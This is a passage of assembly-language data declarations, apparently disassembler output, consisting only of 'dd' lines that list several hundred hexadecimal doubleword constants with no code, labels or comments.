		dd 6C3D0699h, 0F4273A3Dh, 0E2991BDDh, 0F6804850h, 0B23072F6h
		dd 9285ED6Bh, 0C1CF64CEh, 3E3E7A47h, 825F24Ch, 1E1369C1h
		dd 1312F348h, 7A082DADh, 23559F85h, 0C8D48024h,	0BF1B3E4h
		dd 0E8D91F0Fh, 4303C2BFh, 98A76DDAh, 8906313Fh,	0C72F8363h
		dd 0ABA542C9h, 0C8050F49h, 8398128Fh, 3985FC31h, 16873D6Ch
		dd 41A7346Fh, 9CF91349h, 474EF6AAh, 86EFE64Dh, 8CA0CC56h
		dd 4B410B1Ah, 0A31F4201h, 28D6B365h, 3D581F1Ch,	87A3DC50h
		dd 47B321F4h, 60755722h, 0F2584Eh, 0E09EA660h, 0FABB274Ah
		dd 9FF1C120h, 0DA38336Ch, 7E1AF541h, 44532529h,	3E67CD3h
		dd 83EEE6EDh, 962DC855h, 89D8E4D7h, 0CE1719C7h,	0D5F72E28h
		dd 0C2CF93Eh, 5BC90C67h, 80B54127h, 5A3BA305h, 0B12F5C6Bh
		dd 0DA7CA856h, 2A44429Eh, 0D977116Eh, 0E03F9DBBh, 8C2A3BE9h
		dd 954F543Ch, 0F103870Dh, 36BD297Fh, 3BB18CF2h,	3C8E2D43h
		dd 0C130AB25h, 34E9A20h, 7C9644F8h, 0FA6D2259h,	7970CDBDh
		dd 4798F15Eh, 5DE09C5Fh, 7F146F55h, 0C0D3AD0Dh,	0E861EB79h
		dd 60CC3CD8h, 8FCFFF76h, 837963F4h, 0B237EA9Fh,	55EBB389h
		dd 5F2CDF71h, 74719CF6h
		dd 36DC21D1h, 2B506DDh,	778215C0h, 0ED42117Fh, 0A4C47CF5h
		dd 0A65AD0BAh, 919FCBBEh, 94AD0AA2h, 6F61C56Bh,	9330E2A5h
		dd 53F8926Eh, 0D1B1BA1h, 0FF7B86E7h, 15B8267Ch,	7F89A524h
		dd 9657FC92h, 0A80BAB14h, 919B2E0Eh, 24A80AB6h,	0C97BDC71h
		dd 0F5916FEDh, 13EFC610h, 0D4277F0Bh, 1E3666ECh, 0CF42B977h
		dd 77312B23h, 37CF4C3Ch, 88BCEC32h, 74BC95C8h, 94B43577h
		dd 8B623F1Fh, 72E1BB6Ch, 0B263C65Ah, 8EF51AA2h,	0EF8E61EDh
		dd 0A4BDA343h, 6205609Bh, 0A556FDFBh, 0E80B5492h, 88AE73AEh
		dd 669E0692h, 302D8610h, 73C746E8h, 3C8141C4h, 2C57F7D7h
		dd 684DF214h, 0F86250CEh, 3E7754BCh, 173EA471h,	0EF9D8E6Ah
		dd 0D2C0661Ah, 0AA00DB95h, 0CB461A35h, 0D0B32A55h, 8208496Dh
		dd 6F701582h, 8A13EDB9h, 82BA1CE6h, 1B80B6A4h, 0B266B728h
		dd 1BBAAEF7h, 410B9F65h, 404CC9A0h, 5421904h, 8DE3F98h
		dd 0EC404AF9h, 58D6E58h, 32EE752Ch, 0A37ECEEDh,	0E17CA452h
		dd 0C141B0EDh, 5A51BC9Bh, 0A4E696D5h, 995C59B2h, 2F5563B7h
		dd 233CD188h, 0E0D223CAh, 495F0E4Ah, 0BA2C409h,	1B9EB5DDh
		dd 6B78FDA3h, 0D3DF5982h, 0FB7426CEh, 0BE01E668h, 8A05E054h
		dd 5360A6F8h, 9C5F11Dh,	5A522054h, 774FD9A1h, 0A90B79B9h
		dd 0C566030Ah, 93FAF8DEh, 0A1B19F8Ah, 0CB02D054h, 0C824D836h
		dd 376FAAFDh, 0DD71882Fh, 0FD65779Bh, 6CE27BFAh, 7ED85D13h
		dd 87FA6601h, 0BEEB9152h, 0F677116Bh, 97D7D37Ch, 556E6F56h
		dd 766AD390h, 307F9547h, 0AD39807Dh, 0DA334C5Fh, 5C75853Bh
		dd 0C8A04FC7h, 0B41EA4D3h, 0BE38632Dh, 17BAE32Fh, 0CE65AEECh
		dd 0DD8E040Ch, 8127B0CCh, 0CC71E735h, 7103CA81h, 0B5B4A673h
		dd 5DFA5501h, 0F7B64258h, 0EB96CE1Ah, 984D7DF0h, 4877BEC2h
		dd 5401A7FEh, 45DC1370h, 0E5FD3F95h, 1CB7D370h,	8781E000h
		dd 1A9AB4BAh, 3E19DF60h, 2B0A065Bh, 9EE929B5h, 50DC6B0Ch
		dd 0E404BC89h, 0B81E8620h, 60290BFAh, 2FE4D084h, 10495C77h
		dd 0EC4F52CEh, 94B64A22h, 0C7FBBD5Ah, 8F601423h, 37DB49DAh
		dd 0F0750F4Eh, 86C3DDD7h, 0CD3D24BEh, 68134FD1h, 0B5D16065h
		dd 8C8526FBh, 904DEB92h, 0C121582Eh, 9345FB40h,	6709C361h
		dd 8A180F52h, 80A7F8C6h, 793F2300h, 601A9F20h, 6858272Ah
		dd 64FF7A10h, 0FF9B99BDh, 0C1851291h, 761401A8h, 0BA8C74FEh
		dd 8DF4E881h, 8AA3D0C7h, 7F8130Ah, 9C6B9253h, 8F41E6C8h
		dd 22C19D7h, 0BDE2EB52h, 0D1479C7Ch, 8FE2C01Ah,	8B9CF6D9h
		dd 0FC4FD3C8h, 0CBCFDF65h, 0F7015596h, 0F763F91Eh, 68F5F0D9h
		dd 5169A2D7h, 0CE5511CEh, 4B3D4D5Dh, 8CD97934h,	5B45907Eh
		dd 0A1D745D6h, 0B6375E82h, 0DD7A5FCEh, 0D16D2468h, 207A9E9Ah
		dd 922574E0h, 0E6D6DCF0h, 0FF979E58h, 0A916B8CFh, 1373B03Ch
		dd 6FB73937h, 0FB5FB9E0h, 1C766D51h, 8F9EB2C9h,	740E2617h
		dd 48C10A18h, 49637046h, 51A315B4h, 0F58AFFF3h,	0BA34DBh
		dd 0F41AE657h, 0C8F02715h, 8B1052CCh, 0A968C168h, 0F3F7E6BCh
		dd 0C0F8C16Ch, 0BB49C318h, 6868FACAh, 20337F88h, 4D2946Ch
		dd 0C4E795C0h, 65CB3736h, 0C471A428h, 8E1DCD30h, 0D4287A2Dh
		dd 4ACD78E2h, 4C93E169h, 6141D97Ah, 8DB8822Ah, 3D11ADBh
		dd 0FBA71738h, 0ECC14A8Fh, 644B1652h, 0F6B1DD63h, 76DCC8FBh
		dd 97A558Dh, 686A483Dh,	749ADA14h, 6D1EB3F2h, 0DB891D3Ch
		dd 84645F80h, 0A396CD5Eh, 0CE0EE30Ch, 0F6E0561Ah, 4B49F823h
		dd 16501217h, 67ABAF76h, 25AB407Fh, 98561E4h, 68800AE1h
		dd 9C21C0B5h, 0E6EEFB0Fh, 0EFAC3479h, 273CBA61h, 6169B2BCh
		dd 8D4F07CFh, 0FDD83BB0h, 57C357Dh, 595EF2DBh, 0B3A5DA66h
		dd 33DE62D9h, 95D2F2Ah,	57B48AEDh, 0C1318E37h, 98B23E33h
		dd 43A0625Ch, 8186F242h, 19FE337Ah, 0CB32296Ah,	0CB4C0814h
		dd 0D1FCD575h, 22ABC3D5h, 6BBF4C5Ah, 0E16F8D13h, 5C97D042h
		dd 93543FA1h, 0ED7B17ECh, 715EA67Dh, 6567EB55h,	0AC280CF0h
		dd 67E41C4Bh, 0E697A35Bh, 9033D0A4h, 3FDAC75h, 0E199F341h
		dd 0D46BB878h, 0E1293BBFh, 7EA599F8h, 35992617h, 0A4A5151Dh
		dd 19950C83h, 0E1E9BC9h, 7C4DDC69h, 755F1891h, 8F36792Eh
		dd 0BADC61A7h, 570F9CB9h, 0C5B68652h, 2C817A8Eh, 0A6A4F43Dh
		dd 0FE401A79h, 0F0670BE4h, 19B1C723h, 870651BFh, 9A01AE49h
		dd 0F44FB299h, 0BD2E3765h, 2EE48473h, 21E5C929h, 98313157h
		dd 0FA00256Ah, 502AC80Ch, 0BB41A5A7h, 0A4DB5C1Bh, 470CC4B0h
		dd 0DF59CB54h, 4D29A87Bh, 556E38B2h, 79B8A70Eh,	0F99EADB1h
		dd 154145FDh, 61A7DB47h, 7D719053h, 953B54ECh, 0EBD6CFE4h
		dd 95B85476h, 0C3160E3Eh, 0F4136118h, 0CA5DF5F1h, 690FB27Dh
		dd 2017C192h, 5B392212h, 0DA29244h, 0C6C0A608h,	0D2541CB4h
		dd 0DD9AB367h, 0E8A85DBFh, 9B332585h, 97A951D2h, 0F91A274h
		dd 6D4E8BE7h, 0A52EB3ADh, 0C981B4E1h, 2BF44611h, 0DC9FF41Eh
		dd 0E7278AC7h, 51862778h, 822E28Dh, 689BB816h, 0ADE3E79Bh
		dd 8A251F69h, 0F7EE5687h, 0E09D018Ch, 3B67F886h, 0B3259FC7h
		dd 34FFAC52h, 4CFF9593h, 43E058D5h, 29C83B1Eh, 0F72D292Bh
		dd 9412C86Fh, 0B1709B1Ch, 0C2A167A8h, 0A00DCDCAh, 6A00F39Bh
		dd 0C19EFD4h, 9DFF0A56h, 2C406711h, 687A8370h, 6A9A5FC7h
		dd 0F6C414DAh, 0D7CDE1E3h, 7FB10BECh, 2DA8591Fh, 8EC11E65h
		dd 296AF0C7h, 0E75AB92Dh, 9A977CC6h, 628942C8h,	134A3764h
		dd 7A7AD5E0h, 0EB3F7909h, 0ECFB218Fh, 9A02831Ch, 5E850776h
		dd 8D38F26Dh, 48237959h, 2C5D6656h, 5BBC6019h, 51500F8h
		dd 7E4D079Dh, 837D7DB1h, 0E7ABB8F1h, 7A66AF65h,	0ED8E523Fh
		dd 5E917B7Bh, 1358C481h, 0ED64F359h, 0FC0C3B1Eh, 0E0C2BF2h
		dd 664B3687h, 9BAE5BD9h, 705F332Eh, 795C387Ah, 0F47BC2B0h
		dd 33278CB9h, 0EA4EBDC2h, 3EB579A3h, 85553F3h, 2C1EF7h
		dd 6FB5D38Ch, 6BA1D366h, 0A6D6C396h, 318E7BCh, 76CEC424h
		dd 8C9CA25Dh, 0F5B63A45h, 44AA1429h, 0ECD10C2Dh, 46B2DBA6h
		dd 672FE907h, 0AC8E5642h, 6EBC64DFh, 107AD3AFh,	5700B80Ah
		dd 335A8FFAh, 4BAE0FFBh, 1C1ADF2Bh, 3F1F7478h, 6A317D49h
		dd 9739BCB6h, 52C16C6Eh, 4FD132D5h, 0BDE77C76h,	74750D46h
		dd 0C2E55A72h, 58763BD6h, 3594CAA4h, 0B6BAE230h, 0F368A667h
		dd 0DCCCF95Ah, 0CC5402C3h, 544CF8ABh, 9C3D5190h, 6423EAEAh
		dd 20A19774h, 8964CAECh, 5D735E63h, 0F76D48BBh,	992F8464h
		dd 4576357Ah, 5E8C0F3Fh, 22A64699h, 80794F8h, 141ABF63h
		dd 0F1270311h, 346629BAh, 0AC087B85h, 958EBB1Dh, 8C041255h
		dd 835B6795h, 0B64C4F0Dh, 0E6DDBBCEh, 26252CE5h, 3204A21Ch
		dd 50E4E0F9h, 9B0DD4C9h, 83D39739h, 600F282Eh, 0E1A595BBh
		dd 2F852B43h, 0E41ABF73h, 0A0C65042h, 0F94569D5h, 95A9FB97h
		dd 0B68EFFF3h, 0B6091DFFh, 827185E0h, 0F44CC71h, 3078FF46h
		dd 0E4430537h, 0EAC4A293h, 0AC99CBA7h, 0F12A083Fh, 84772CD8h
		dd 1B5E429Ch, 2330EA16h, 6F288CC1h, 55DEFC6h, 2EA45F38h
		dd 0A5A559E3h, 1765A2B4h, 4D84226Ah, 43F5CB91h,	2E54A89Eh
		dd 1BAE16C4h, 172BAC2Ch, 689420B9h, 4BF95B9Fh, 9B1A1DE0h
		dd 97490CB2h, 0BF70CBADh, 1E097EC5h, 0BB086260h, 31AB07ADh
		dd 0FD5EEE2h, 3F1A908Eh, 91D68ADAh, 0E3D29608h,	7F51EAC2h
		dd 0E9BF683Ch, 0EADA0CD7h, 6D90B7F6h, 5314E4FEh, 0F80A16E5h
		dd 0BD05705Ah, 0F900E498h
		dd 1C967830h, 857EC013h, 74BF88BDh, 0FE2BE4B3h,	0EB9DA47Bh
		dd 8D6C97DFh, 303B64BAh, 9A3AEBAEh, 0DB25E231h,	97176CC3h
		dd 2D014480h, 0CD3E17Eh, 754DD9CDh, 70702838h, 0AE7E0A6Eh
		dd 0D545E1C9h, 0BC377545h, 7C38B57Dh, 0E84ECF81h, 31D7091Fh
		dd 26449E88h, 0C5B9425Bh, 96DEB4B7h, 0FDBFFCAAh, 5A145A8Eh
		dd 0EB627234h, 962597B6h, 7838FD96h, 7BCA487Ah,	0F35CCEDEh
		dd 6D60D785h, 0E9EDC168h, 0AA0DBEA9h, 8E0F6E18h, 0BC1A0C01h
		dd 40D27EACh, 19BC1EEBh, 0D79723C6h, 0B85E3351h, 9AFE55C0h
		dd 6F33FC06h, 153719A4h, 0D37FFCA2h, 581E001Bh,	0FDF42D00h
		dd 932D9535h, 9883F06Ah, 5973E7F5h, 380298DDh, 0C5DF8F97h
		dd 9F4BBDF3h, 4DD886A8h, 25855DF1h, 0FEAE80E3h,	0BDB78F8h
		dd 91BABA4Dh, 0B0A78DD0h, 9401B461h, 2B6700BBh,	80957C35h
		dd 5430548Fh, 729D1AA5h, 67A650F8h, 0FE41AF8Ah,	0C4B455CEh
		dd 38E558B4h, 57342EB3h, 691D253Bh, 8F5AA9CAh, 2547511Ah
		dd 58DA1059h, 7CC3C4FDh, 0C9B1A78Ch, 0ED30AA39h, 31BFF914h
		dd 602B68C5h, 5A58BB93h, 66AD9455h, 0BCC47175h,	0E0E010EAh
		dd 87DB8F3Dh, 0FC27FA57h, 93C0761Dh, 76B23990h,	7FE391BDh
		dd 3BEFC85Dh, 8BEC34A5h, 8A58FB8h, 0E2C2423Bh, 8773798Bh
		dd 0AFCD2FD7h, 8CB942D2h, 1DDDD46h, 2A9889EDh, 8A2F76C6h
		dd 0D6CCE1FDh, 5730DF53h, 17AC7B19h, 53959E15h,	83516B28h
		dd 5726C1B4h, 54F26385h, 5D6AB10Bh, 85F86CFDh, 15B3A008h
		dd 1E86EC2Bh, 0AD8E7728h, 6B259C4h, 33CD140Bh, 6876B174h
		dd 3845851Bh, 501C26ABh, 0D8EB9EB7h, 0C20106F9h, 0CCA2176Dh
		dd 0A4C2FA50h, 0B10CE2C4h, 0CB278245h, 0CD78EABBh, 0FAEE10C8h
		dd 0FA312D78h, 296B6409h, 7FA345EAh, 0C4B90062h, 7A63E212h
		dd 5B7E6198h, 5999D9EDh, 5F92A65Fh, 0D9BC2883h,	879E71CEh
		dd 4455FA51h, 18516860h, 25CAF411h, 5399B59Ah, 188EBE30h
		dd 0A1D6F29Fh, 96F40218h, 636A5BA5h, 923248h, 43F5879Eh
		dd 85BF530Eh, 770A784h,	3D718AF2h, 0DF55B37Eh, 90BBA0FDh
		dd 61A1561Bh, 3BA1D385h, 67A02940h, 15309283h, 6B85E892h
		dd 0A19339A1h, 0F83026E9h, 0DA87AD47h, 5865A0ADh, 7284D7F7h
		dd 4704334Ch, 0F1ED102Bh, 80DC6F71h, 0B1016FF9h, 39334B38h
		dd 56BFDF87h, 6F7912DFh, 0DE149425h, 0B7017570h, 0C18548C7h
		dd 0BD88B6C3h, 0F0BC03F6h, 4A794121h, 146AEEDEh, 1EE0AC1h
		dd 87B5D4BEh, 5EBD8AF5h, 6F70818Dh, 0ADD87FB2h,	93973EDh
		dd 392B9EAh, 0B5340E31h, 91FAFF5Fh, 0A1757C12h,	8EB3986Bh
		dd 2EA80E71h, 79A58D2Ch, 0EACFB168h, 0E5E0B26Dh, 49FAA530h
		dd 0C9293EDEh, 0DD09B8CDh, 9467C2CBh, 0ED11BA46h, 65573F05h
		dd 0F16F86D3h, 0AB6EC18Dh, 7D8C41BBh, 79047589h, 72874163h
		dd 0D89F37F9h, 0DAFBE0DAh, 0D092486Dh, 56AA2E82h, 2237B32Ch
		dd 2CB59C61h, 0AFD4895Bh, 1F5BEC1Bh, 0AFB1D135h, 2112AA31h
		dd 1DB1E0AFh, 0A8C13207h, 3AE19137h, 0BE03B386h, 0EC0A4063h
		dd 0DB31801Dh, 8CC18A08h, 82ADF5D2h, 0DB821008h, 0B2AF755Eh
		dd 0A3022EC0h, 81BE7A05h, 0ADFE2Fh, 9F079483h, 0E352398Fh
		dd 0E3D3E3F2h, 11129F75h, 0CF2710F9h, 0F0A6345Ch, 4B395355h
		dd 88F75A68h, 0D64686A1h, 9CC994CAh, 0C26D760Fh, 16A6077Dh
		dd 7C1980E5h, 0A43C18B0h, 6C932502h, 8061314Ah,	9488816Ah
		dd 0CF6A5737h, 598E5D0Eh, 55A3C6D9h, 0BC345477h, 552B6C23h
		dd 101F54D4h, 0EE07EE7Ch, 36E310E0h, 0B3F09BE0h, 0C1125ED4h
		dd 0B776FF82h, 0F8CF5B04h, 0B04252F7h, 845EECAAh, 646D738Dh
		dd 16F20A8Fh, 36089E56h, 19D36BF1h, 0E45064B8h,	9F27210Fh
		dd 0BB8E7CC3h, 5DC75F4Ah, 0EEED956Ch, 0A4991BFAh, 30D34A9Eh
		dd 488B6311h, 956C7BFEh, 6E6A00Fh, 0E84BC9C9h, 8C5C9447h
		dd 0F69A4BDCh, 0E6941A0Eh, 0EF189FB3h, 2AE9E9Fh, 0FE90E04h
		dd 7CB64457h, 8E5A93B2h, 34B6DEAAh, 0CD60F7BFh,	5697A1BCh
		dd 64C72693h, 1710A7E2h, 0EC0DB969h, 0F97AE3DDh, 0A41D5495h
		dd 0C2DC1B97h, 0BF0050BEh, 872F551h, 0F6E387B7h, 1806FA20h
		dd 71C27275h, 6B8FA4D6h, 7458DC00h, 3A837D47h, 0F64F6FB5h
		dd 2DA68911h, 31BA485Bh, 74BD22Bh, 58EBD26Ah, 6AC20A6h
		dd 696D7D94h, 0C53E6967h, 97CA5CF6h, 453EC8AEh,	0B5A26973h
		dd 8F641FADh, 9B082FBAh, 48102CD3h, 2A0124BAh, 0FB268341h
		dd 6E6811Fh, 0E720800Bh, 0F2789EDCh, 58B33032h,	43D07ABCh
		dd 0EC685B2Dh, 7F662D5Ah, 2EF84873h, 0B7E2D483h, 0C0BC9A80h
		dd 0FB89B144h, 711FBFB2h, 0DE4A6C0Ah, 0C59E5D6Eh, 0BE2EE522h
		dd 48BD2ED5h, 55D75991h, 920AD201h, 1DF3ACE6h, 0A9605B44h
		dd 5D8FA4C7h, 33086A16h, 4FAF2EFh, 75340667h, 0F5AD2381h
		dd 0C35DE330h, 23B2B520h, 96E9FFFh, 0A5800C40h,	0CE473726h
		dd 7C2A77F1h, 9BBBB233h, 6DE28EC0h, 9EC76B31h, 85661AEBh
		dd 4FAD49AAh, 0A7FEEE1Dh, 7A967998h, 0CB6A3990h, 9AD7A9E6h
		dd 74755BDEh, 0D7DB0842h, 0BDF81761h, 1826EF61h, 0EAE6F39Ah
		dd 0E0C35948h, 148A61F1h, 0D6CA58C1h, 51E1FB89h, 0E14C8CCCh
		dd 0F6438872h, 1D54842h, 0CA6DE25Ch, 0EDEA5C31h, 42D50259h
		dd 8E299690h, 0F5E63B8Eh, 2CE1579Ah, 8ABE1888h,	6661AE72h
		dd 0B3E447ABh, 5445CB7Fh, 0FCAEB1DDh, 973B440Eh, 3E384287h
		dd 81419573h, 61136BC7h, 18EBD30h, 76072167h, 6A20B8B5h
		dd 0F4433387h, 0E726C9AFh, 3275E06Bh, 5EA80FAAh, 9FE5D8EFh
		dd 89C6B1D2h, 4DCA325h,	36070BBAh, 0B781C274h, 612D32DBh
		dd 8E7F68DBh, 0D189A643h, 45387B03h, 8F24F7A2h,	838C3893h
		dd 9E821DFAh, 693C6D3Bh, 0CBECC4CDh, 8D7441DEh,	2A6ABCE6h
		dd 26C361C0h, 0C9F552EDh, 86D8BD60h, 0CE21A1AFh, 33D71E73h
		dd 0F9C6E712h, 18361880h, 341BAF17h, 76DB92D1h,	7C41A391h
		dd 6B4AB25h, 907BBC7h, 0EEE5DDADh, 0FAC39CCEh, 0F18504D7h
		dd 93538006h, 2390A6Bh,	2D108594h, 40953A54h, 0BA2D4E8Fh
		dd 3422074Dh, 9585ADBDh, 391EE942h, 8212749h, 0A000EE56h
		dd 5A6540Fh, 835CA16h, 2A5DE6A5h, 1209A6A6h, 1616C19h
		dd 3B518171h, 0FEAF0033h, 0A80741C3h, 0B6EC5EDDh, 0AD4D9408h
		dd 0DFE5D009h, 67BF1148h, 0E93F825Dh, 0DE875FA2h, 7A8BD6A2h
		dd 0DECAA47Ah, 43D1DE59h, 41DCCC85h, 6DD7BF3Ch,	0F647BFC2h
		dd 659A2401h, 0C34870Dh, 6ACB2917h, 0E446C3CDh,	0D5BCEBBDh
		dd 3B62BC07h, 67E31EAh,	58CCAADCh, 48A57C48h, 0BBA3C219h
		dd 65EBC2E5h, 0C3FCD620h, 49A1FEF3h, 99A7510Bh,	0E39BC503h
		dd 0A7B0A85Ch, 924E3631h, 98D8923Ch, 9E20E470h,	0BFBD96E9h
		dd 0B920DB0Dh, 9FE68AEh, 4CA2F5A0h, 0C00F563Fh,	1BD0D376h
		dd 0ACA8F273h, 0E2854507h, 0F358F2DAh, 5B0806ECh, 0C0297857h
		dd 0DEB551A5h, 0DA0FB91Eh, 46B38651h, 90217110h, 0C3208553h
		dd 2BA8D6B0h, 3D147233h, 9BC95CC2h, 0DB80D2CEh,	4000B0D1h
		dd 55281B4Eh, 770056BCh, 0A46BF59Dh, 1A09EFAh, 8670A53Bh
		dd 82A6D19Ah, 738DB03Fh, 54679E17h, 4923B3A0h, 0FCB94C28h
		dd 4350FDB0h, 515B7E9Dh, 2AD0F22Eh, 0E7A50F01h,	0B39AFB80h
		dd 629F07C8h, 6F08A7C2h, 8BE495Bh, 0B6D74144h, 0F43B2B20h
		dd 0A15A15AEh, 0C21E9519h, 2515741Fh, 0DD6B5866h, 220AD10h
		dd 26D2D9C3h, 7233928Ch, 4DCAE737h, 2D0DAE66h, 70DA9630h
		dd 0CB72766Ah, 0FC8410ECh
		dd 9C3148B6h, 0DAC5E3F1h, 84DA3096h, 81B7C835h,	0D79252E7h
		dd 0A580B5D6h, 9C38771Fh, 8D7D76Fh, 5A7B9656h, 57BCC91Fh
		dd 4812EA7Bh, 887E0D0Ch, 37F0560h, 2363F15Bh, 0E72B039h
		dd 0E8E1A2C8h, 0C7CC8A2Ch, 0FD1FE371h, 3FDEB448h, 5BF54A86h
		dd 2C2AB625h, 6D16A174h, 879F2597h, 0D9D3BCBEh,	529C22A7h
		dd 46B5401h, 469D1AC2h,	0BE03DAE9h, 0C2A539A0h,	37F2C069h
		dd 1AA40260h, 7A0A51D3h, 0B66BB516h, 0AACD3592h, 0B403D00Eh
		dd 706D229Dh, 8CB5CD82h, 0F809230Ah, 2663DB18h,	7548A574h
		dd 0F4C5D391h, 67DB6DE0h, 0CB57CF8h, 0A3A3D6DBh, 36E9550Dh
		dd 33D878AFh, 6C6184CAh, 0FB3163F8h, 84CB1FE9h,	7D317065h
		dd 0B5EAAA63h, 72E4A46Eh, 0EA1DD53Ah, 9324351Dh, 5EB9ED91h
		dd 7170B312h, 0E2ACF18Ch, 0D58F04BDh, 4227AAABh, 124BE511h
		dd 4C2C4DAEh, 1A4F8541h, 0FFDF63CFh, 0DB50C769h, 0F3B6D014h
		dd 5E6E81EAh, 0FB865F6Bh, 70E374AFh, 0BC5D0F56h, 9E06B4DBh
		dd 0DFA7F838h, 7E7AE558h, 0AF6820BFh, 63BD882Fh, 0AA3CEBh
		dd 680E0BCEh, 0A98674C7h, 57152671h, 70B94402h,	2E0787EBh
		dd 0CB0EA1BFh, 6055D73Eh, 3B35C307h, 2C27E9E2h,	0C8381A96h
		dd 0B1354C0Fh, 0EA9C89A7h, 0DDF8C5B4h, 287A3322h, 7A95B2DAh
		dd 376446CAh, 73C5FBB9h, 0A8072EF6h, 0CDD95AB7h, 49C0C063h
		dd 0BC8F70BFh, 0BC43F4D6h, 0AA6E0F83h, 95E415AEh, 58E25911h
		dd 405039C9h, 21098C89h, 21D488B3h, 65153D74h, 55635B76h
		dd 60F8A4DFh, 8CC5AB36h, 0BD8B3B0Eh, 0E26D0563h, 37C6BCFh
		dd 0FF35DE09h, 4A87F3F5h, 0D01FF326h, 56813CE3h, 0BF3B00B0h
		dd 0EA23CB77h, 0F56F3478h, 0B7EA20EAh, 0B632D2B2h, 9A89EF96h
		dd 0C1DB95CFh, 780A902Dh, 6479381Dh, 0A68A16Dh,	6AE23356h
		dd 278F518Dh, 0E4D1B400h, 4022170Dh, 6AC48BB9h,	82C33CC0h
		dd 44299C96h, 0D7C27E58h, 0D6278D2Ah, 0CCCA2E18h, 5983A59Ch
		dd 0A652CA0h, 6A53C9FAh, 0F9622F75h, 0D2A6BC3Dh, 10C27629h
		dd 79D3B62Dh, 8FC97EB7h, 556044DFh, 0CD7A2978h,	0CD1BA571h
		dd 0A5B1F40Ah, 0BE890E74h, 909EC4F3h, 0A80EEB4Ah, 77B39EC3h
		dd 7DCE9710h, 2A3DD652h, 5B2C26BAh, 53E21B24h, 0A8AE05E9h
		dd 2F767C4Ah, 0FFAC6156h, 63CA059h, 343F7A13h, 50B8E11h
		dd 41EA50D0h, 0A4FBC2A3h, 0C80D2368h, 9E1EBCD6h, 0F519D5B9h
		dd 907CAA0Dh, 926F90F1h, 3BEEC6E2h, 0BBE632DDh,	8E1C1C26h
		dd 623BFD37h, 79268F1Bh, 8C04F874h, 0E639FDFEh,	0C01BBB1Dh
		dd 4670B153h, 0CE9A175Ch, 1298CB5Ah, 59098754h,	0F0E42235h
		dd 0FE279DEh, 727FCBE5h, 5004E56Ch, 68DBCEFh, 0C892385Dh
		dd 6DCF576Fh, 991160AAh, 0CB9B141Ah, 806C45F2h,	0DD19AD3Dh
		dd 0FE18108Fh, 0D5823EBCh, 0CED681A8h, 0A3191501h, 0E9500DA7h
		dd 0F3D92A14h, 0FCB74382h, 0F6BDAD56h, 0B41AC4ACh, 0D6FF3D7Ah
		dd 6A51B41Dh, 64CDBA3Ah, 0B75762CFh, 0EED5F1A7h, 0D75F2464h
		dd 0D8507B16h, 0F38BAA03h, 652E746Eh, 6A303A9h,	0F11EDD24h
		dd 9271F395h, 9281BF87h, 1B2E6762h, 0B6C42809h,	66837E32h
		dd 51C1D9h, 34B5BB40h, 309FA19Bh, 0C2D037Ch, 0BEC332E2h
		dd 75E0DE88h, 1D8AA812h, 90473F9Fh, 0DC82B6E0h,	0F079489Fh
		dd 5FEC3352h, 0B65F4654h, 2482339Fh, 0C929A51Ch, 8B405BB4h
		dd 0C519E3DCh, 0D47225BAh, 0A283C237h, 9E0C15F2h, 0D2AC9493h
		dd 0E5C29724h, 0DB87AFD7h, 0D149C0D5h, 5444A31h, 558A31ACh
		dd 0AEE5809Bh, 53D39EDCh, 440A9FD0h, 0A6229E09h, 85433F69h
		dd 383AF594h, 0DEA9736Fh, 2F12EB81h, 0E04047A8h, 0C293026Ah
		dd 0BFC28745h, 0ACE021A4h, 830D69E7h, 90E7DE76h, 9E08E806h
		dd 7387F04Ah, 261697F1h, 3706468Ch, 1EDCF603h, 32BDF5Dh
		dd 44448BB4h, 0DE0C35DFh, 0A8DCE26Eh, 8E14DB79h, 9F5EF39Ah
		dd 6BDCA6C3h, 859764EEh, 417569AEh, 0D89BAA07h,	6B1906F6h
		dd 82976617h, 7F0C2C8h,	0AEE58A77h, 20A5EE7Ah, 380377A5h
		dd 9C6722D5h, 678878DAh, 0F596947h, 30564931h, 59BF4A90h
		dd 82929425h, 6232BC56h, 61011EF8h, 0B110CC8Ah,	0F9E980F6h
		dd 0E0607ED9h, 4B4CD50Eh, 0F70A4315h, 21465541h, 0E2CBDFBEh
		dd 0CEB64842h, 5FF784B5h, 0EECB2230h, 95E29FA7h, 795D663h
		dd 8A826CDDh, 24A0B1AEh, 52F5DD1Fh, 0AAC9E539h,	5EE28979h
		dd 28CFFDD1h, 0D8EDF7F5h, 0B874C2DEh, 5420EC4Ch, 790F7612h
		dd 1873575Ch, 0C8E7F7AEh, 0CF9DB839h, 2EEEB0BBh, 22FA0104h
		dd 0F894F63Ch, 0F568E7D1h, 7A0682B0h, 5A679B8Fh, 4135179Eh
		dd 0E9379A76h, 37687E1Ch, 0B2DEC529h, 62C61E28h, 0F2D624EAh
		dd 6191531Dh, 70AC618Bh, 3EE7D9E2h, 0B4FD4657h,	1CD9D181h
		dd 5F941B0Fh, 578526BAh, 47F1859Eh, 76FFA357h, 7B57F85Fh
		dd 31AD119Fh, 8462AB8Fh, 0D29524E9h, 4107F784h,	760E3C74h
		dd 0A216278h, 0E808339Eh, 0EBEFAA42h, 18DB6C01h, 0DE87FA22h
		dd 3DB97155h, 5EB0E95Dh, 66A8CEE7h, 96197B7Fh, 1DF63AF4h
		dd 6F5C6A34h, 0BF2DB178h, 98DEB59Bh, 0DB006856h, 6DC3F9F0h
		dd 848B8A4Ch, 27C4805Ah, 3D916D92h, 0D5772210h,	0BF321C91h
		dd 3145A1EAh, 81582528h, 71A80F5Bh, 0F24193FDh,	502AB0ADh
		dd 2F3ED068h, 0F561630Ah, 0EEFC1D27h, 0A21887CBh, 78FBF10Fh
		dd 3C21AD5Eh, 7CA98394h, 4B4AAE67h, 662C9E8Bh, 3C233556h
		dd 4BA55CD2h, 5F9FBB0Ah, 7CD02EF1h, 0E854458Bh,	3000AEA4h
		dd 83257088h, 0D3C46DDDh, 0F2189840h, 5D330033h, 5FE15921h
		dd 0EF67A5E4h, 86C69F1Bh, 0F135E705h, 0FD224CD5h, 0BE633683h
		dd 4E33A101h, 50366A0Ah, 0E32A51F4h, 11D2BF5Bh,	7465D23Dh
		dd 16DC7446h, 628788E4h, 89279CEDh, 7FD2CE9Ch, 416E4786h
		dd 0E7521BEDh, 69678998h, 0E29486B3h, 0F990E000h, 1B232203h
		dd 2989C1D3h, 3D468E25h, 929CD64Ah, 0A424FAB4h,	0EFE5EAEAh
		dd 100FE21Ah, 0AC3CDDB1h, 3232F9B2h, 0DA63548Ch, 0A15B91D4h
		dd 0CC627781h, 0E9C25BBh, 71A79218h, 0D5D2CB61h, 9BDB085Dh
